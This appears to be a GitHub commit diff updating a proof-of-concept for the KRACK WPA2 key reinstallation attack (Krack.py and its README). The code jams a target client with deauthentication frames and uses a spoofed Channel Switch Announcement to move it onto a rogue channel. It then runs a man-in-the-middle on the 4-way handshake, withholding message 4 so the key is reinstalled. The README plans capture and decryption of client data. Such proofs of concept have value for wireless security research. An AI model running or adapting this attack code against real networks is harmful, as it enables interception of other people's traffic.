Skip to content

Commit 958c198

Browse files
committed
updated PoC
1 parent 1940c47 commit 958c198

File tree

2 files changed

+66
-24
lines changed

2 files changed

+66
-24
lines changed

POC/Krack.py

+63-21
Original file line numberDiff line numberDiff line change
@@ -66,14 +66,14 @@
6666
0x05: "Cf ",
6767
0x06: "CF ",
6868
0x07: "CF ",
69-
0x08: "QoS data ",
70-
0x09: "QoS data ",
71-
0x0A: "QoS data ",
72-
0x0B: "QoS data ",
69+
0x08: "QoS data8",
70+
0x09: "QoS data9",
71+
0x0A: "QoS dataA",
72+
0x0B: "QoS dataB",
7373
0x0C: "QoS null ",
7474
0x0D: "Reserved ",
75-
0x0E: "QoS data ",
76-
0x0F: "QoS data "
75+
0x0E: "QoS dataE",
76+
0x0F: "QoS dataF"
7777
}
7878
}
7979

@@ -199,6 +199,7 @@ class Jammer:
199199
def __init__(self, args):
200200
self.iface_ap = args.iface_ap
201201
self.ap_channel = args.channel
202+
self.client_channel = (self.ap_channel + 6) % 13
202203
self.ap_ssid = args.access_point
203204
self.ap_mac = args.ap_mac
204205
self.client_mac = args.client
@@ -237,7 +238,7 @@ def deauth(self, e):
237238
addr2=self.ap_mac,
238239
addr3=self.ap_mac,
239240
type=0,
240-
subtype=0x0d)/Raw("\x00\x04\x25\x03\x00\x04\x00")
241+
subtype=0x0d)/Raw("\x00\x04\x25\x03\x00" + chr(self.client_channel) + "\x00")
241242

242243
pkts.append(deauth_pkt1)
243244
pkts.append(deauth_pkt2)
@@ -497,12 +498,22 @@ def handle_pkt_ap(self):
497498
if pkt.type == 1: # TYPE_CNTRL
498499
return 0
499500

501+
# Don't forward CSA
502+
if pkt.subtype == 0x0d and Raw in pkt and str(pkt[Raw]).startswith("\x00\x04"):
503+
return 0
504+
500505

501506

502507
# Drop Beacons as we inject ours
503508
if pkt.type == 0 and pkt.subtype == 0x08: # Beacon
504509
return 0
505510

511+
"""
512+
logger.log("[" + ("*" if pkt[Dot11].FCfield & 0x20 != 0 else " ") + "] [R]AP[/R] : " + pkt_types[pkt.type][
513+
pkt.subtype] + " - src: " + pkt[Dot11].addr2 + " | dst: " + pkt[Dot11].addr1 + ' - ' + str(
514+
self.find_channel(pkt)))
515+
"""
516+
506517
# Check if pkt needs to be forwarded or not
507518
res = self.analyze_traffic(pkt)
508519

@@ -524,12 +535,20 @@ def handle_pkt_client(self):
524535
if pkt.type == 1: # TYPE_CNTRL
525536
return 0
526537

538+
539+
527540
# Forward to AP or probe requests
528541
if (((pkt[Dot11].addr1 != self.ap_mac and pkt[Dot11].addr3 != self.ap_mac)
529-
or pkt[Dot11].addr2 != self.client_mac)
542+
or pkt[Dot11].addr2 != self.client_mac)
530543
or self.is_handshake_packet(pkt)):
531544
return 0
532545

546+
"""
547+
logger.log("[" + ("*" if pkt[Dot11].FCfield & 0x20 != 0 else " ") + "] [B]CL[/B] : " + pkt_types[pkt.type][
548+
pkt.subtype] + " - src: " + pkt[Dot11].addr2 + " | dst: " + pkt[Dot11].addr1 + ' - ' + str(
549+
self.find_channel(pkt)))
550+
"""
551+
533552
# Probe Request, we reply ourselves
534553
if pkt.type == 0 and pkt.subtype == 0x04: # Probe Request
535554
# Update Sequence Number
@@ -541,22 +560,26 @@ def handle_pkt_client(self):
541560

542561
return 0
543562

544-
if JAMMING and pkt.type == 0 and pkt.subtype == 0x0b: # Authentication
545-
# MitMed so no need for more Jamming
546-
logger.log("Client authenticated to our AP!", "success")
563+
if JAMMING and pkt.type == 0 and (pkt.subtype == 0x00 or pkt.subtype == 0x0b) and self.find_channel(pkt) == self.client_channel: # Association/Authentication
547564
event_jamming.set()
565+
# MitMed so no need for more Jamming
566+
logger.log("Client authenticated to our AP!", "error")
548567
JAMMING = False
549568
logger.log("MitM attack has [G]started[/G]", "success")
550569

551-
if pkt.type == 2 and pkt.subtype == 0x08 and str(pkt[Raw]).startswith("\x02\x03\x0a"): # Msg4
552-
if not PTK_INSTALLED:
553-
logger.log("PKT [G]installed[/G] on client", "success")
554-
else:
555-
logger.log("PKT [G]RE-installed[/G] on client! Key Reinstallation succes!", "success")
556-
PTK_INSTALLED = True
557570

558-
# Don't forward, AP will think no response and send msg3 again
559-
return 0
571+
if pkt.type == 2 and pkt.subtype == 0x08:
572+
if Raw in pkt and str(pkt[Raw]).startswith("\x02\x03\x0a"): # Msg4
573+
if not PTK_INSTALLED:
574+
logger.log("PKT [G]installed[/G] on client", "success")
575+
else:
576+
logger.log("PKT [G]RE-installed[/G] on client! Key Reinstallation succes!", "success")
577+
PTK_INSTALLED = True
578+
579+
# Don't forward, AP will think no response and send msg3 again
580+
else:
581+
# QoS Data maybe need to save
582+
pass
560583

561584
# Check if pkt needs to be forwarded or not
562585
res = self.analyze_traffic(pkt)
@@ -583,15 +606,15 @@ def analyze_traffic(self, pkt):
583606
if pkt.type == 2 and pkt.subtype == 0x8 and Raw in pkt: # Data - QoS data
584607
if str(pkt[Raw]).startswith("\x02\x00\x8a"): # Msg1
585608
logger.log("4-way handshake : [G]Messag 1/4[/G]", "success")
586-
elif str(pkt[Raw]).startswith("\x02\x01\x0a"): # Msg2
609+
elif str(pkt[Raw])[1:3] == "\x01\x0a": # Msg2
587610
logger.log("4-way handshake : [G]Messag 2/4[/G]", "success")
588611
elif str(pkt[Raw]).startswith("\x02\x13\xca"): # Msg3
589612
logger.log("4-way handshake : [G]Messag 3/4[/G]", "success")
590613
elif str(pkt[Raw]).startswith("\x02\x03\x0a"): # Msg4
591614
logger.log("4-way handshake : [G]Messag 4/4[/G]", "success")
615+
return 0
592616
else:
593617
logger.log("4-way handshake : [G]UNKNOWN[/G]", "error")
594-
return 0
595618

596619
if pkt[Dot11].FCfield & 0x20 != 0:
597620
return 0
@@ -608,6 +631,18 @@ def send_to_ap(self, pkt):
608631

609632
# Hack to check injected data
610633
pkt[Dot11].FCfield |= 0x20
634+
635+
"""
636+
logger.log("[" + ("*" if pkt[Dot11].FCfield & 0x20 != 0 else " ") + "] [G]CL->AP[/G] : " + pkt_types[pkt.type][
637+
pkt.subtype] + " - src: " + pkt[Dot11].addr2 + " | dst: " + pkt[Dot11].addr1 + ' - ' + str(
638+
self.find_channel(pkt)))
639+
640+
641+
if pkt.type == 2 and pkt.subtype == 8 and Raw in pkt:
642+
pkt.show()
643+
644+
"""
645+
611646
sendp(pkt, iface=self.iface_ap)
612647

613648
def send_to_client(self, pkt):
@@ -620,6 +655,13 @@ def send_to_client(self, pkt):
620655

621656
# Hack to check injected data
622657
pkt[Dot11].FCfield |= 0x20
658+
659+
"""
660+
logger.log("[" + ("*" if pkt[Dot11].FCfield & 0x20 != 0 else " ") + "] [O]AP->CL[/O] : " + pkt_types[pkt.type][
661+
pkt.subtype] + " - src: " + pkt[Dot11].addr2 + " | dst: " + pkt[Dot11].addr1 + ' - ' + str(
662+
self.find_channel(pkt)))
663+
"""
664+
623665
sendp(pkt, iface=self.iface_client)
624666

625667
def set_channel(self, pkt, channel):

POC/README.md

+3-3
Original file line numberDiff line numberDiff line change
@@ -65,6 +65,6 @@ optional arguments:
6565

6666
## TODO
6767

68-
* Use CSA (Channel Switch Announcement) to make client switch channel after deauth (See issue [#1](https://github.com/Hackndo/krack-poc/issues/1))
69-
* Save data sent by client
70-
* Break cryptography with known plain text when counter is reinitialized
68+
- [X] Use CSA (Channel Switch Announcement) to make client switch channel after deauth (See issue [#1](https://github.com/Hackndo/krack-poc/issues/1))
69+
- [ ] Save data sent by client
70+
- [ ] Break cryptography with known plain text when counter is reinitialized

0 commit comments

Comments
 (0)